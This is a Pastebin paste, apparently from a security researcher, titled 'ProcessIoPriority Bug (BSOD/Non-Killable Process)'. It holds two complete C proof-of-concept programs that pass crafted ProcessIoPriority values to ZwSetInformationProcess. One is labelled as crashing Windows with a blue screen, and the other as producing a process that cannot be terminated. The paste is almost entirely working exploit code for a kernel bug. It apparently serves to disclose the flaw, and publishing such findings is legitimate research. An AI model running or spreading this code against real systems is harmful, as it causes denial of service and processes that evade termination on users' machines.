waliedassar

ProcessIoPriority Bug (BSOD/Non-Killable Process)

Feb 6th, 2013
1,966
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //http://waleedassar.blogspot.com
  2. //http://www.twitter.com/waleedassar
  3.  
  4. BSOD:
  5. #define ProcessIoPriority               0x21
  6. int main()
  7. {
  8.     unsigned long val=0xFFFFFFFF;
  9.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  10.     if(ret<0) printf("Error %x\r\n",ret);
  11.     ExitProcess(0);
  12.     return 0;
  13. }
  14.  
  15. Non-Killable Process:
  16.  
  17. #define ProcessIoPriority               0x21
  18. int main()
  19. {
  20.     unsigned long val=0x8000F129;
  21.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  22.     if(ret<0) printf("Error %x\r\n",ret);
  23.     ExitProcess(0);
  24.     return 0;
  25. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×